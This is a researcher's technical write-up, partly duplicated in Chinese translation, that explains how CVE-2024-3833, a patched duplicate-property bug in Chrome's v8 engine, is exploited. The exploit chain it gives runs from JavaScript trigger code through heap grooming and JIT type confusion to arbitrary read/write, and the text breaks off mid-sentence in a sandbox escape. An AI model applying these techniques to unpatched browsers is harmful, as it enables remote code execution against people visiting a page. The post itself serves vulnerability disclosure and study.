Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties
In this post, I’ll exploit CVE-2024-3833, an object corruption bug in v8, the Javascript engine of Chrome, that I reported in March 2024 as bug 331383939. A similar bug, 331358160, was also reported and was assigned CVE-2024-3832. Both of these bugs were fixed in version 124.0.6367.60/.61. CVE-2024-3833 allows RCE in the renderer sandbox of Chrome by a single visit to a malicious site.
在这篇文章中,我将利用 CVE-2024-3833,这是 Chrome Javascript 引擎 v8 中的一个对象损坏错误,我于 2024 年 3 月将其报告为错误 331383939。还报告了类似的错误 331358160,并分配了 CVE -2024-3832。这两个错误均已在版本 124.0.6367.60/.61 中修复。 CVE-2024-3833 允许通过对恶意站点的单次访问在 Chrome 渲染器沙箱中进行 RCE。
Origin trials in Chrome
Chrome 中的 Origin 试验
New features in Chrome are sometimes rolled out as origin trials features before they are made available in general. When a feature is offered as an origin trial, web developers can register their origins with Chrome, which allows them to use the feature on the registered origin. This allows web developers to test a new feature on their website and provide feedback to Chrome, while keeping the feature disabled on websites that haven’t requested their use. Origin trials are active for a limited amount of time and anyone can register their origin to use a feature from the list of active trials. By registering the origin, the developer is given an origin trial token, which they can include in their website by adding a meta tag: <meta http-equiv="origin-trial" content="TOKEN_GOES_HERE">
.
Chrome 中的新功能有时会在普遍可用之前作为原始试用功能推出。当某项功能作为源试用版提供时,Web 开发人员可以向 Chrome 注册其源,这样他们就可以在注册的源上使用该功能。这使得网络开发人员可以在其网站上测试新功能并向 Chrome 提供反馈,同时在未请求使用的网站上禁用该功能。起源试用版在有限的时间内处于活动状态,任何人都可以注册其起源以使用活跃试用列表中的功能。通过注册源,开发人员将获得一个源试用令牌,他们可以通过添加元标记将其包含在其网站中: <meta http-equiv="origin-trial" content="TOKEN_GOES_HERE">
。
The old bug 老错误
Usually, origin trials features are enabled before any user Javascript is run. This, however, is not always true. A web page can create the meta tag that contains the trial token programmatically at any time, and Javascript can be executed before the tag is created. In some cases, the code responsible for turning on the specific origin trial feature wrongly assumes that no user Javascript has run before it, which can lead to security issues.
通常,在运行任何用户 Javascript 之前,会启用原始试验功能。然而,这并不总是正确的。网页可以随时以编程方式创建包含试用令牌的元标记,并且可以在创建标记之前执行Javascript。在某些情况下,负责打开特定原始试用功能的代码错误地假设没有用户 Javascript 在其之前运行过,这可能会导致安全问题。
One example was CVE-2021-30561, reported by Sergei Glazunov of Google Project Zero. In that case, the WebAssembly Exception Handling feature would create an Exception
property in the Javascript WebAssembly
object when the origin trial token was detected.
CVE-2021-30561 就是一个例子,由 Google 零号项目的 Sergei Glazunov 报告。在这种情况下,当检测到原始试用令牌时,WebAssembly 异常处理功能将在 Javascript WebAssembly
对象中创建 Exception
属性。
let exception = WebAssembly.Exception; //<---- undefined
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- activates origin trial
...
exception = WebAssembly.Exception; //<---- property created
In particular, the code that creates the Exception
property uses an internal function to create the property, which assumes the Exception
property does not exist in the WebAssembly
object. If the user created the Exception
property prior to activating the trial, then Chrome would try to create another Exception
property in WebAssembly
. This could produce two duplicated Exception
properties in WebAssembly
with different values. This can then be used to cause type confusion in the Exception
property, which can then be exploited to gain RCE.
特别是,创建 Exception
属性的代码使用内部函数来创建该属性,该函数假定 WebAssembly
对象中不存在 Exception
属性。如果用户在激活试用版之前创建了 Exception
属性,则 Chrome 会尝试在 WebAssembly
中创建另一个 Exception
属性。这可能会在 WebAssembly
中产生两个具有不同值的重复 Exception
属性。然后,这可以用来导致 Exception
属性中的类型混淆,然后可以利用它来获得 RCE。
WebAssembly.Exception = 1.1;
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- creates duplicate Exception property
...
What actually happens with CVE-2021-30561 is more complicated because the code that enables the WebAssembly Exception Handling feature does check to make sure that the WebAssembly
object does not already contain a property named Exception
. The check used there, however, is not sufficient and is bypassed in CVE-2021-30561 by using the Javascript Proxy
object. For details of how this bypass and exploit works, I’ll refer readers to look at the original bug ticket, which contains all the details.
CVE-2021-30561 实际发生的情况更为复杂,因为启用 WebAssembly 异常处理功能的代码会进行检查以确保 WebAssembly
对象尚未包含名为 Exception
.然而,此处使用的检查还不够,在 CVE-2021-30561 中可以通过使用 Javascript Proxy
对象来绕过。有关此绕过和利用如何工作的详细信息,我将建议读者查看原始错误单,其中包含所有详细信息。
Another day, another bypass
另一天,另一次绕过
Javascript Promise Integration is a WebAssembly feature that is currently in an origin trial (until October 29, 2024). Similar to the WebAssembly Exception Handling feature, it defines properties on the WebAssembly
object when an origin trial token is detected by calling InstallConditionalFeatures
:
Javascript Promise Integration 是一项 WebAssembly 功能,目前处于原始试用阶段(截至 2024 年 10 月 29 日)。与 WebAssembly 异常处理功能类似,当通过调用 InstallConditionalFeatures
检测到原始试用令牌时,它会在 WebAssembly
对象上定义属性:
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle context) {
...
// Install JSPI-related features.
if (isolate->IsWasmJSPIEnabled(context)) {
Handle suspender_string = v8_str(isolate, "Suspender");
if (!JSObject::HasRealNamedProperty(isolate, webassembly, suspender_string) //<--- 1.
.FromMaybe(true)) {
InstallSuspenderConstructor(isolate, context);
}
// Install Wasm type reflection features (if not already done).
Handle function_string = v8_str(isolate, "Function");
if (!JSObject::HasRealNamedProperty(isolate, webassembly, function_string) //<--- 2.
.FromMaybe(true)) {
InstallTypeReflection(isolate, context);
}
}
}
When adding the Javascript Promise Integration (JSPI), The code above checks whether webassembly
already has the properties Suspender
and Function
(1. and 2. in the above), if not, it’ll create these properties using InstallSuspenderConstructor
and InstallTypeReflection
respectively. The function InstallSuspenderConstructor
uses InstallConstructorFunc
to create the Suspender
property on the WebAssembly
object:
添加 Javascript Promise Integration (JSPI) 时,上面的代码检查 webassembly
是否已具有属性 Suspender
和 Function
(上面的 1. 和 2. ),如果没有,它将分别使用 InstallSuspenderConstructor
和 InstallTypeReflection
创建这些属性。函数 InstallSuspenderConstructor
使用 InstallConstructorFunc
在 WebAssembly
对象上创建 Suspender
属性:
void WasmJs::InstallSuspenderConstructor(Isolate* isolate,
Handle context) {
Handle webassembly(context->wasm_webassembly_object(), isolate); //<--- 3.
Handle suspender_constructor = InstallConstructorFunc(
isolate, webassembly, "Suspender", WebAssemblySuspender);
...
}
The problem is, in InstallSuspenderConstructor
, the WebAssembly
object comes from the wasm_webassembly_object
property of context
(3. in the above), while the WebAssembly
object that is checked in InstallConditionalFeatures
comes from the property WebAssembly
of the global object (which is the same as the global WebAssembly
variable):
问题是,在 InstallSuspenderConstructor
中, WebAssembly
对象来自 context
的 wasm_webassembly_object
属性(上面的 3.),而 InstallConditionalFeatures
中检查的 WebAssembly
对象来自全局对象的属性 WebAssembly
(与全局 WebAssembly
相同)多变的):
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle context) {
Handle global = handle(context->global_object(), isolate);
// If some fuzzer decided to make the global object non-extensible, then
// we can't install any features (and would CHECK-fail if we tried).
if (!global->map()->is_extensible()) return;
MaybeHandle maybe_wasm =
JSReceiver::GetProperty(isolate, global, "WebAssembly");
The global WebAssembly variable can be changed to any user defined object by using Javascript:
全局 WebAssembly 变量可以使用 Javascript 更改为任何用户定义的对象:
WebAssembly = {}; //<---- changes the WebAssembly global variable
While this changes the value of WebAssembly
, the wasm_webassembly_object
cached in context
is not affected. It is therefore possible to first define a Suspender
property on the WebAssembly
object, then set the WebAssembly
variable to a different object and then activate the Javascript Promise Integration
origin trial to create a duplicate Suspender
in the original WebAssembly
object:
虽然这会更改 WebAssembly
的值,但 context
中缓存的 wasm_webassembly_object
不受影响。因此,可以首先在 WebAssembly
对象上定义 Suspender
属性,然后将 WebAssembly
变量设置为不同的对象,然后激活 Javascript Promise Integration
对象中创建重复的 Suspender
:
WebAssembly.Suspender = {};
delete WebAssembly.Suspender;
WebAssembly.Suspender = 1;
//stores the original WebAssembly object in oldWebAssembly
var oldWebAssembly = WebAssembly;
var newWebAssembly = {};
WebAssembly = newWebAssembly;
//Activate trial
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- creates duplicate Suspender property in oldWebAssembly
%DebugPrint(oldWebAssembly);
When the origin trial is triggered, InstallConditionalFeatures
first checks that the Suspender
property is absent from the WebAssembly
global variable (which is newWebAssembly
in the above). It then proceeds to create the Suspender
property in context->wasm_webassembly_object
(which is oldWebAssembly
in the above). Doing so creates a duplicate Suspender
property in oldWebAssembly
, much like what happened in CVE-2021-30561.
当触发原始试验时, InstallConditionalFeatures
首先检查 WebAssembly
全局变量(即 newWebAssembly
中的 Suspender
属性是否不存在)以上)。然后,它继续在 context->wasm_webassembly_object
中创建 Suspender
属性(即上面的 oldWebAssembly
)。这样做会在 oldWebAssembly
中创建重复的 Suspender
属性,就像 CVE-2021-30561 中发生的情况一样。
DebugPrint: 0x2d5b00327519: [JS_OBJECT_TYPE] in OldSpace
- map: 0x2d5b00387061 [DictionaryProperties]
- prototype: 0x2d5b003043e9
- elements: 0x2d5b000006f5 [HOLEY_ELEMENTS]
- properties: 0x2d5b0034a8fd
- All own properties (excluding elements): {
...
Suspender: 0x2d5b0039422d (data, dict_index: 20, attrs: [W_C])
...
Suspender: 1 (data, dict_index: 19, attrs: [WEC])
This causes oldWebAssembly
to have 2 Suspender
properties that are stored at different offsets. I reported this issue as 331358160 and it was assigned CVE-2024-3832.
The function InstallTypeReflection
suffers a similar problem but have some extra issues:
void WasmJs::InstallTypeReflection(Isolate* isolate,
Handle context) {
Handle webassembly(context->wasm_webassembly_object(), isolate);
#define INSTANCE_PROTO_HANDLE(Name) \
handle(JSObject::cast(context->Name()->instance_prototype()), isolate)
...
InstallFunc(isolate, INSTANCE_PROTO_HANDLE(wasm_tag_constructor), "type", //<--- 1.
WebAssemblyTableType, 0, false, NONE,
SideEffectType::kHasNoSideEffect);
...
#undef INSTANCE_PROTO_HANDLE
}
The function InstallTypeReflection
also defines a type
property in various other objects. For example, in 1., the property type
is created in the prototype
object of the wasm_tag_constructor
, without checking whether the property already existed:
var x = WebAssembly.Tag.prototype;
x.type = {};
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<--- creates duplicate type property on x
This then allows duplicate type
properties to be created on WebAssembly.Tag.prototype
. This issue was reported as 331383939 and was assigned CVE-2024-3833.
A new exploit
The exploit for CVE-2021-30561 relies on creating duplicate properties of “fast objects.” In v8, fast objects store their properties in an array (some properties are also stored inside the object itself). However, a hardening patch has since landed, which checks for duplicates when adding properties to a fast object. As such, it is no longer possible to create fast objects with duplicate properties.
It is, however, still possible to use the bug to create duplicate properties in “dictionary objects.” In v8, property dictionaries are implemented as NameDictionary
. The underlying storage of a NameDictionary
is implemented as an array, with each element being a tuple of the form (Key, Value, Attribute)
, where Key
is the name of the property. When adding a property to the NameDictionary
, the next free entry in the array is used to store this new tuple. With the bug, it is possible to create different entries in the property dictionary with a duplicate Key
. In the report of CVE-2023-2935, Sergei Glazunov showed how to exploit the duplicate property primitive with dictionary objects. This, however, relies on being able to create the duplicate property as an AccessorInfo
property, which is a special kind of property in v8 that is normally reserved for builtin objects. This, again, is not possible in the current case. So, I need to find a new way to exploit this issue.
The idea is to look for some internal functions or optimizations that will go through all the properties of an object, but not expect properties to be duplicated. One such optimization that comes to mind is object cloning.
Attack of the clones
When an object is copied using the spread syntax, a shallow copy of the original object is created:
const clonedObj = { ...obj1 };
In v8, this is implemented as the CloneObject bytecode:
0x39b300042178 @ 0 : 80 00 00 29 CreateObjectLiteral [0], [0], #41
...
0x39b300042187 @ 15 : 82 f7 29 05 CloneObject r2, #41, [5]
When a function containing the bytecode is first run, inline cache code is generated and used to handle the bytecode in subsequent calls. While handling the bytecode, the inline cache code will also collect information about the input object (obj1
) and generate optimized inline cache handlers for inputs of the same type. When the inline cache code is first run, there is no information about previous input objects, and no cached handler is available. As a result, an inline cache miss is detected and CloneObjectIC_Miss
is used to handle the bytecode. To understand how the CloneObject
inline cache works and how it is relevant to the exploit, I’ll recap some basics in object types and properties in v8. Javascript objects in v8 store a map
field that specifies the type of the object, and, in particular, it specifies how properties are stored in the object:
x = { a : 1};
x.b = 1;
%DebugPrint(x);
The output of %DebugPrint
is as follows:
DebugPrint: 0x1c870020b10d: [JS_OBJECT_TYPE]
- map: 0x1c870011afb1 [FastProperties]
...
- properties: 0x1c870020b161
- All own properties (excluding elements): {
0x1c8700002ac1: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x1c8700002ad1: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]
}
We see that x
has two properties—one is stored in the object (a
) and the other stored in a PropertyArray
. Note that the length of the PropertyArray
is 3
(PropertyArray[3]
), while only one property is stored in the PropertyArray
. The length
of a PropertyArray
is like the capacity of a std::vector
in C++. Having a slightly bigger capacity avoids having to extend and reallocate the PropertyArray
every time a new property is added to the object.
The map
of the object uses the fields inobject_properties
and unused_property_fields
to indicate how many properties are stored in the object and how much space is left in the PropertyArray
. In this case, we have 2
free spaces (3 (PropertyArray length) - 1 (property in the array) = 2
).
0x1c870011afb1: [Map] in OldSpace
- map: 0x1c8700103c35 <MetaMap (0x1c8700103c85 )>
- type: JS_OBJECT_TYPE
- instance size: 16
- inobject properties: 1
- unused property fields: 2
...
When a cache miss happens, CloneObjectIC_Miss
first tries to determine whether the result of the clone (the target
) can use the same map as the original object (the source
) by examining the map
of the source
object using GetCloneModeForMap
(1. in the following):
RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
HandleScope scope(isolate);
DCHECK_EQ(4, args.length());
Handle source = args.at(0);
int flags = args.smi_value_at(1);
if (!MigrateDeprecated(isolate, source)) {
...
FastCloneObjectMode clone_mode =
GetCloneModeForMap(source_map, flags, isolate); //<--- 1.
switch (clone_mode) {
case FastCloneObjectMode::kIdenticalMap: {
...
}
case FastCloneObjectMode::kEmptyObject: {
...
}
case FastCloneObjectMode::kDifferentMap: {
...
}
...
}
...
}
...
}
The case that is relevant to us is the FastCloneObjectMode::kDifferentMap
mode.
case FastCloneObjectMode::kDifferentMap: {
Handle res;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, res, CloneObjectSlowPath(isolate, source, flags)); //<----- 1.
Handle result_map(Handle::cast(res)->map(),
isolate);
if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
isolate)) {
...
nexus.ConfigureCloneObject(source_map, //<----- 2.
MaybeObjectHandle(result_map));
...
In this mode, a shallow copy of the source
object is first made via the slow path (1. in the above). The handler of the inline cache is then encoded as a pair of maps consisting of the map for the source
and target
objects respectively (2. in the above).
From now on, if another object with the source_map
is being cloned, the inline cache handler is used to clone the object. Essentially, the source
object is copied as follows:
- Make a copy of the PropertyArray of the
source
object:TNode source_property_array = CAST(source_properties); TNode length = LoadPropertyArrayLength(source_property_array); GotoIf(IntPtrEqual(length, IntPtrConstant(0)), &allocate_object); TNode property_array = AllocatePropertyArray(length); FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length); CopyPropertyArrayValues(source_property_array, property_array, length, SKIP_WRITE_BARRIER, DestroySource::kNo); var_properties = property_array;
- Allocate the target object and use
result_map
as its map.TNode object = UncheckedCast(AllocateJSObjectFromMap( result_map.value(), var_properties.value(), var_elements.value(), AllocationFlag::kNone, SlackTrackingMode::kDontInitializeInObjectProperties));
- Copy the in-object properties from
source
totarget
.BuildFastLoop( result_start, result_size, [=](TNode field_index) { ... StoreObjectFieldNoWriteBarrier(object, result_offset, field); }, 1, LoopUnrollingMode::kYes, IndexAdvanceMode::kPost);
What happens if I try to clone an object that has a duplicated property? When the code is first run, CloneObjectSlowPath
is called to allocate the target
object, and then copy each property from the source
to target
. However, the code in CloneObjectSlowPath
handles duplicate properties properly, so when the duplicated property in source
is encountered, instead of creating a duplicate property in target
, the existing property is overwritten instead. For example, if my source
object has this following layout:
DebugPrint: 0x38ea0031b5ad: [JS_OBJECT_TYPE] in OldSpace
- map: 0x38ea00397745 [FastProperties]
...
- properties: 0x38ea00355e85
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171 (const data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499 (const data field 7), location: properties[3]
Which has a PropertyArray
of length 4
, with a duplicated type
as the last property in the PropertyArray
. The target
resulting from cloning this object will have the first type
property overwritten:
DebugPrint: 0x38ea00355ee1: [JS_OBJECT_TYPE]
- map: 0x38ea003978b9 [FastProperties]
...
- properties: 0x38ea00356001
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499 (data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]
Note that the target
has a PropertyArray
of length
3
and also three properties in the PropertyArray
(properties #a4..#a6
, which have location
in properties
) In particular, there is no unused_property_fields
in the target
object:
0x38ea003978b9: [Map] in OldSpace
- map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
While this may look like a setback as the duplicated property does not get propagated to the target
object, the real magic happens when the inline cache handler takes over. Remember that, when cloning with the inline cache handler, the resulting object has the same map
as the target
object from CloneObjectSlowPath
, while the PropertyArray
is a copy of the PropertyArray
of the source
object. That means the clone target
from inline cache handler has the following property layout:
DebugPrint: 0x38ea003565c9: [JS_OBJECT_TYPE]
- map: 0x38ea003978b9 [FastProperties]
...
- properties: 0x38ea003565b1
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171 (data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]
Note that it has a PropertyArray
of length
4
, but only three properties in the array, leaving one unused property. However, its map
is the same as the one used by CloneObjectSlowPath
(0x38ea003978b9
), which has no unused_property_fields
:
0x38ea003978b9: [Map] in OldSpace
- map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
So, instead of getting an object with a duplicated property, I end up with an object that has an inconsistent unused_property_fields
and PropertyArray
. Now, if I add a new property to this object, a new map
will be created to reflect the new property layout of the object. This new map
has an unused_property_fields
based on the old map
, which is calculated in AccountAddedPropertyField
. Essentially, if the old unused_property_fields
is positive, this decreases the unused_property_fields
by one to account for the new property being added. And if the old unused_property_fields
is zero, then the new unused_property_fields
is set to two, accounting for the fact that the PropertyArray
is full and has to be extended.
On the other hand, the decision to extend the PropertyArray
is based on its length
rather than unused_property_fields
of the map
:
void MigrateFastToFast(Isolate* isolate, Handle object,
Handle new_map) {
...
// Check if we still have space in the {object}, in which case we
// can also simply set the map (modulo a special case for mutable
// double boxes).
FieldIndex index = FieldIndex::ForDetails(*new_map, details);
if (index.is_inobject() || index.outobject_array_index() property_array(isolate)->length()) {
...
object->set_map(*new_map, kReleaseStore);
return;
}
// This migration is a transition from a map that has run out of property
// space. Extend the backing store.
int grow_by = new_map->UnusedPropertyFields() + 1;
...
So, if I have an object that has zero unused_property_fields
but a space left in the PropertyArray
, (that is, length = existing_property_number + 1
) then the PropertyArray
will not be extended when I add a new property. So, after adding a new property, the PropertyArray
will be full. However, as mentioned before, unused_property_fields
is updated independently and it will be set to two as if the PropertyArray
is extended:
DebugPrint: 0x2575003565c9: [JS_OBJECT_TYPE]
- map: 0x257500397749 [FastProperties]
...
- properties: 0x2575003565b1
- All own properties (excluding elements): {
0x257500004045: [String] in ReadOnlySpace: #type: 0x25750034b171 (data field 0), location: in-object
0x25750038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
0x25750038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
0x25750038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
0x2575003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
0x2575003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
0x2575003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]
0x257500002c31: [String] in ReadOnlySpace: #x: 1 (const data field 7), location: properties[3]
}
0x257500397749: [Map] in OldSpace
- map: 0x2575003034b1 <MetaMap (0x257500303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 2
This is important because the JIT compiler of v8, TurboFan, uses unused_property_fields
to decide whether PropertyArray
needs to be extended:
JSNativeContextSpecialization::BuildPropertyStore(
Node* receiver, Node* value, Node* context, Node* frame_state, Node* effect,
Node* control, NameRef name, ZoneVector* if_exceptions,
PropertyAccessInfo const& access_info, AccessMode access_mode) {
...
if (transition_map.has_value()) {
// Check if we need to grow the properties backing store
// with this transitioning store.
...
if (original_map.UnusedPropertyFields() == 0) {
DCHECK(!field_index.is_inobject());
// Reallocate the properties {storage}.
storage = effect = BuildExtendPropertiesBackingStore(
original_map, storage, effect, control);
So, by adding new properties to an object with two unused_property_fields
and a full PropertyArray
via JIT, I’ll be able to write to PropertyArray
out-of-bounds (OOB) and overwrite whatever that is allocated after it.
Creating a fast object with duplicate properties
In order to cause the OOB write in PropertyArray
, I first need to create a fast object with duplicate properties. As mentioned before, a hardening patch has introduced a check for duplicates when adding properties to a fast object, and I therefore cannot create a fast object with duplicate properties directly. The solution is to first create a dictionary object with duplicate properties using the bug, and then change the object into a fast object. To do so, I’ll use WebAssembly.Tag.prototype
to trigger the bug:
var x = WebAssembly.Tag.prototype;
x.type = {};
//delete properties results in dictionary object
delete x.constructor;
//Trigger bug to create duplicated type property
...
Once I’ve got a dictionary object with a duplicated property, I can change it to a fast object by using MakePrototypesFast
, which can be triggered via property access:
var y = {};
//setting x to the prototype of y
var y.__proto__ = x;
//Property access of `y` calls MakePrototypeFast on x
y.a = 1;
z = y.a;
By making x
to be the prototype of an object y
and then accessing a property of y
, MakePrototypesFast
is called to change x
into a fast object with duplicate properties. After this, I can clone x
to trigger an OOB write in the PropertyArray
.
Exploiting OOB write in PropertyArray
To exploit the OOB write in the PropertyArray
, let’s first check and see what is allocated after the PropertyArray
. Recall that the PropertyArray
is allocated in the inline cache handler. From the handler code, I can see that PropertyArray
is allocated right before the target
object is allocated:
void AccessorAssembler::GenerateCloneObjectIC() {
...
TNode property_array = AllocatePropertyArray(length); //<--- property_array allocated
...
var_properties = property_array;
}
Goto(&allocate_object);
BIND(&allocate_object);
...
TNode object = UncheckedCast(AllocateJSObjectFromMap( //<--- target object allocated
result_map.value(), var_properties.value(), var_elements.value(),
AllocationFlag::kNone,
SlackTrackingMode::kDontInitializeInObjectProperties));
As v8 allocates objects linearly, an OOB write therefore allows me to alter the internal fields of the target
object. To exploit this bug, I’ll overwrite the second field of the target
object, the properties
field, which stores the address of the PropertyArray
for the target
object. This involves creating JIT functions to add two properties to the target
object.
a8 = {c : 1};
...
function transition_store(x) {
x.a7 = 0x100;
}
function transition_store2(x) {
x.a8 = a8;
}
... //JIT optimize transition_store and transition_store2
transition_store(obj);
//Causes the object a8 to be interpreted as PropertyArray of obj
transition_store2(obj);
When storing the property a8
to the corrupted object obj
that has inconsistent PropertyArray
and unused_property_fields
, an OOB write to the PropertyArray
will overwrite PropertyArray
of obj
with the Javascript object a8
. This can then be exploited by carefully arranging objects in the v8 heap. As the objects are allocated in the v8 heap linearly, the heap can easily be arranged by allocating objects in order. For example, in the following code:
var a8 = {c : 1};
var a7 = [1,2];
The v8 heap around the object a8
looks as follows:
The left hand side shows the objects a8
and a7
. The fields map
, properties,
and elements
are internal fields in the C++ objects that correspond to the Javascript objects. The right hand side represents the view of the memory as the PropertyArray
of obj
(when the PropertyArray
of obj
is set to the address of a8
). A PropertyArray
has two internal fields, map
and length
. When the object a8
is type-confused with a PropertyArray
, its properties
field, which is the address of its PropertyArray
, is interpreted as the length
of the PropertyArray
of obj
. As an address is usually a large number, this allows further OOB read and write to the PropertyArray
of obj
.
A property, ai+3
in the PropertyArray
is going to align with the length
field of the Array
a7
. By writing this property, the length
of the Array
a7
can be overwritten. This allows me to achieve an OOB write in a Javascript array, which can be exploited in a standard way. However, in order to overwrite the length
field, I must keep adding properties to obj
until I reach the length
field. This, unfortunately, means that I will also overwrite the map
, properties
and elements
fields, which will ruin the Array
a7
.
To avoid overwriting the internal fields of a7
, I’ll instead create a7
so that its PropertyArray
is allocated before it. This can be achieved by creating a7
with cloning:
var obj0 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
obj0.c4 = {len : 1};
function clone0(x) {
return {...x};
}
//run clone0(obj0) a few times to create inline cache handler
...
var a8 = {c : 1};
//inline cache handler used to create a7
var a7 = clone0(obj0);
The object obj0
has five fields, with the last one, c4
stored in the PropertyArray
:
DebugPrint: 0xad0004a249: [JS_OBJECT_TYPE]
...
0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d (const data field 4), location: properties[0]
When cloning obj0
using the inline cache handler in the function clone0
, recall that the PropertyArray
of the target
object (a7
in this case) is allocated first, and therefore the PropertyArray
of a7
will be allocated right after the object a8
, but before a7
:
//address of a8
DebugPrint: 0xad0004a7fd: [JS_OBJECT_TYPE]
//DebugPrint of a7
DebugPrint: 0xad0004a83d: [JS_OBJECT_TYPE]
- properties: 0x00ad0004a829
- All own properties (excluding elements): {
...
0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d (const data field 4), location: properties[0]
}
As we can see, the address of a8
is 0xad0004a7fd
, while the address of the PropertyArray
of a7
is at 0x00ad0004a829
, and a7
is at 0xad0004a83d
. This leads to the following memory layout:
With this heap layout, I can overwrite the property c4
of a7
by writing to a property ai
in obj
that aligns to c4
. Although map
and length
of the PropertyArray
will also be overwritten, this does not seem to affect property access of a7
. I can then create a type confusion between Javascript Object
and Array
by using optimized property loading in the JIT compiler.
function set_length(x) {
x.c4.len = 1000;
}
When the function set_length
is optimized with a7
as its input
x
, because the property c4
of a7
is an object that has a constant map
(it is always {len : 1}
), the map
of this property is stored in the map
of a7
. The JIT compiler makes use of this information to optimize the property access of x.c4.len
. As long as the map
of x
remains the same as the map
of a7
, x.c4
will have the same map
as {len : 1}
and therefore the property len
of x.c4
can be accessed by using memory offset directly, without checking the map
of x.c4
. However, by using the OOB write in the PropertyArray
to change a7.c4
into a double Array
, corrupted_arr
, the map
of a7
will not change, and the JIT compiled code for set_length
will treat a7.c4
as if it still has the same map
as {len : 1}
, and write directly to the memory offset corresponding to the len
property of a7.c4
. As a7.c4
is now an Array
object, corrupted_arr
, this will overwrite the length
property of corrupted_arr
, which allows me to access corrupted_arr
out-of-bounds. Once an OOB access to corrupted_arr
is achieved, gaining arbitrary read and write in the v8 heap is rather straightforward. It essentially consists of the following steps:
- First, place an
Object
Array
aftercorrupted_arr
, and use the OOB read primitive incorrupted_arr
to read the addresses of the objects stored in this array. This allows me to obtain the address of any V8 object. -
Place another double array,
writeArr
aftercorrupted_arr
, and use the OOB write primitive incorrupted_arr
to overwrite theelement
field ofwriteArr
to an object address. Accessing the elements ofwriteArr
then allows me to read/write to arbitrary addresses.
Bypassing the v8 heap sandbox
The recently introduced v8 heap sandbox isolates the v8 heap from other process memory, such as executable code, and prevents memory corruptions within the v8 heap from accessing memory outside of the heap. To gain code execution, a way to escape the heap sandbox is needed. As the bug was reported soon after the Pwn2Own contest, I decided to check the commits to see if there was any sandbox escape that was patched as a result of the contest. Sure enough, there was a commit that appeared to be fixing a heap sandbox escape, which I assumed was used with an entry to the Pwn2Own contest.
When creating a WebAssembly.Instance
object, objects from Javascript or other WebAssembly modules can be imported and be used in the instance:
const importObject = {
imports: {
imported_func(arg) {
console.log(arg);
},
},
};
var mod = new WebAssembly.Module(wasmBuffer);
const instance = new WebAssembly.Instance(mod, importObject);
In this case, the imported_func
is imported to the instance and can be called by WebAssembly functions defined in the WebAssembly module that imports them:
(module
(func $i (import "imports" "imported_func") (param i32))
(func (export "exported_func")
i32.const 42
call $i
)
To implement this in v8, when the WebAssembly.Instance
is created, a FixedAddressArray
was used to store addresses of imported functions:
Handle WasmTrustedInstanceData::New(
Isolate* isolate, Handle module_object) {
...
const WasmModule* module = module_object->module();
int num_imported_functions = module->num_imported_functions;
Handle imported_function_targets =
FixedAddressArray::New(isolate, num_imported_functions);
...
Which is then used as the call target when the imported function is called. As this FixedAddressArray
